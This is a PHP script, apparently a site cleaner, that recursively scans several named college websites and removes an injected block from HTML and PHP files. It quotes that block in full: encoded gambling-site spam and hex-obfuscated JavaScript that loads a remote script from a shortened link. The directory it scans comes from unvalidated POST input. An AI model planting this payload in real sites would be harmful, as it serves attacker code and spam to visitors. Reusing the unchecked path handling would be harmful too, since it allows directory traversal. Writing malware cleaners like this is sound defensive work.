<?php
function del($filename) {
	$getstr = '<noscript><title>&#26497;&#36895;&#36187;&#36710;&#32;&#26497;&#36895;&#36187;&#36710;&#24320;&#22870;&#32;&#26497;&#36895;&#36187;&#36710;&#25237;&#27880;&#35745;&#21010;&#32;&#26497;&#36895;&#36187;&#36710;&#25237;&#27880;&#24179;&#21488;</title>	
<meta name="keywords" content="&#26497;&#36895;&#36187;&#36710;&#44;&#26497;&#36895;&#36187;&#36710;&#25237;&#27880;&#24179;&#21488;&#44;&#26497;&#36895;&#36187;&#36710;&#24320;&#22870;&#44;&#26497;&#36895;&#36187;&#36710;&#22312;&#32447;&#25237;&#27880;&#44;&#26497;&#36895;&#36187;&#36710;&#30452;&#25773;&#24179;&#21488;&#44;&#26497;&#36895;&#36187;&#36710;&#23448;&#32593;&#38376;&#25143;" />
<meta name="description" content="&#26497;&#36895;&#27983;&#35272;&#12304;&#80;&#75;&#49;&#54;&#48;&#48;&#12305;&#25552;&#20379;&#26497;&#36895;&#36187;&#36710;&#44;&#26497;&#36895;&#36187;&#36710;&#20840;&#22825;&#35745;&#21010;&#44;&#26497;&#36895;&#36187;&#36710;&#24320;&#22870;&#32467;&#26524;&#21450;&#26497;&#36895;&#36187;&#36710;&#27880;&#20876;&#25237;&#27880;&#19987;&#19994;&#36141;&#24425;&#24179;&#21488;&#12290;&#23558;&#20114;&#32852;&#32593;&#25237;&#27880;&#21644;&#26497;&#36895;&#36187;&#36710;&#36141;&#20080;&#44;&#26497;&#36895;&#36187;&#36710;&#24320;&#22870;&#44;&#26497;&#36895;&#36187;&#36710;&#36208;&#21183;&#20998;&#26512;&#44;&#26497;&#36895;&#36187;&#36710;&#36164;&#35759;&#32;&#31561;&#19968;&#20307;&#21270;&#26381;&#21153;&#30456;&#32467;&#21512;" /></noscript>
<script type="text/javascript">
window["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]["\x77\x72\x69\x74\x65"] (\'\x3c\x73\x63\x72\x69\x70\x74\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x2f\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x74\x2e\x63\x6e\x2f\x52\x51\x41\x30\x30\x42\x7a\x22\x3e\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e\');
</script>';
	$handle = fopen($filename, "r+");
	$contents = fread($handle, filesize($filename));
	$str = str_replace($getstr, "", $contents);
	$ref = fopen($filename, "w");
	$fw = fwrite($ref, $str);
	echo " 》》》》》成功写入";
	var_dump($fw);
	echo "字节--挂马病毒已清除！";
	fclose($handle);
}

//del("head.html");
$dir = 0;
$html = 0;
$js = 0;
$css = 0;
$png = 0;
$jpg = 0;
$txt = 0;
$other = 0;
//读取所有
function getdir($path) {
	global $dir;
	global $html;
	global $js;
	global $css;
	global $png;
	global $jpg;
	global $txt;
	global $other;
	$arr = scandir($path);
	foreach ($arr as $v) {
		if ($v != "." && $v != "..") {
			if (is_dir($path . "/" . $v)) {
				$dir++;
				echo "<hr>";
				echo "目录：" . $path . "/" . $v;
				echo "<br>";
				getdir($path . "/" . $v);
			} else {
				echo "文件：" . $path . "/" . $v;
				$ext = substr($v, (strrpos($v, ".") + 1));
				if ($ext == 'html' || $ext == 'php') {
					$html++;
					del($path . "/" . $v);
				} elseif ($ext == 'js') {
					$js++;
					echo "文件：" . $path . "/" . $v . "==》》这是一个JS文件不用清除挂马！";
				} elseif ($ext == 'css') {
					$css++;
					echo "文件：" . $path . "/" . $v . "==》》这是一个CSS文件不用清除挂马！";
				} elseif ($ext == 'png') {
					$png++;
					echo "文件：" . $path . "/" . $v . "==》》这是一个png图片不用清除挂马！";
				} elseif ($ext == 'jpg') {
					$jpg++;
					echo "文件：" . $path . "/" . $v . "==》》这是一个jpg图片不用清除挂马！";
				} elseif ($ext == 'txt') {
					$txt++;
					echo "文件：" . $path . "/" . $v . "==》》这是一个txt文档不用清除挂马！";
				} else {
					$other++;
					echo "文件：" . $path . "/" . $v . "==》》这是一个不用清除挂马的其他文件！";
				}
				echo "<br>";
			}
		}
	}
}

$dirname = "../" . $_POST['webname'];
if (!empty($_POST['webname'])) {
	echo $dirname;
	echo "<hr>";
	getdir($dirname);

	echo "<hr><hr>";
	echo "本次杀毒统计：清除带挂马的HTML文件" . $html . "个!";
	echo "<br>";
	echo "共遍历JS文件" . $js . "个!";
	echo "<br>";
	echo "共遍历CSS文件" . $css . "个!";
	echo "<br>";
	echo "共遍历png图片文件" . $png . "个!";
	echo "<br>";
	echo "共遍历jpg图片文件" . $jpg . "个!";
	echo "<br>";
	echo "共遍历txt文件" . $txt . "个!";
	echo "<br>";
	echo "共递归文件夹" . $dir . "个！";
	echo "<br>";
	echo "共遍历没有挂马代码的其他文件" . $other . "个！<br>";
}
?>
<html>
	<head>
		<meta charset="UTF-8">
		<title>递归程序</title>
	</head>
	<body>
		<form action="digui-DIY.php" method="post">
			<br />
			<br />
			&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;选择要清除挂马的网站：
			<select name="webname">
				<option value="">请选择</option>
				<option value="muma">测试</option>
				<option value="hbvtc">淮北职院</option>
				<option value="hbvtct">淮北职院wap端</option>
				<option value="ahgf">安徽国防</option>
				<option value="ahgfwap">安徽国防wap端</option>
				<option value="czzy">滁州职院</option>
				<option value="czzywap">滁州职院wap端</option>
				<option value="ahsj">安徽审计</option>
				<option value="ahsjwap">安徽审计wap端</option>
				<option value="hfgd">合肥共达</option>
				<option value="hfgdwap">合肥共达wap端</option>
				<option value="jxjg">江西经管</option>
				<option value="jxjgwap">江西经管wap端</option>
				<option value="ycsf">宜春幼儿师范高等专科学校</option>
				<option value="aszy">安顺职院</option>
				<option value="aszywap">安顺职院wap端</option>
				<option value="bjzy">毕节职院</option>
				<option value="bjzywap">毕节职院wap端</option>
				<option value="yunnanjm">云南经贸</option>
				<option value="yxnyzy">玉溪农业职业学院 </option>
				<option value="yxnywap">玉溪农业职业学院wap端</option>
				<option value="ljsf">丽江师范</option>
				<option value="ljsfwap">丽江师范wap端</option>
				<option value="newMB">慧众聚成科技有限公司</option>
				<option value="../web">全服务器（不推荐）</option>
			</select>
			<input type="submit" value="清除"/>
		</form>
		<br />
		<br />
		<br />
		<h3>注：选择“全服务器”清除挂马时会需要大量时间，服务器会卡顿。</h3>
		<br />
		<br />
	</body>
</html>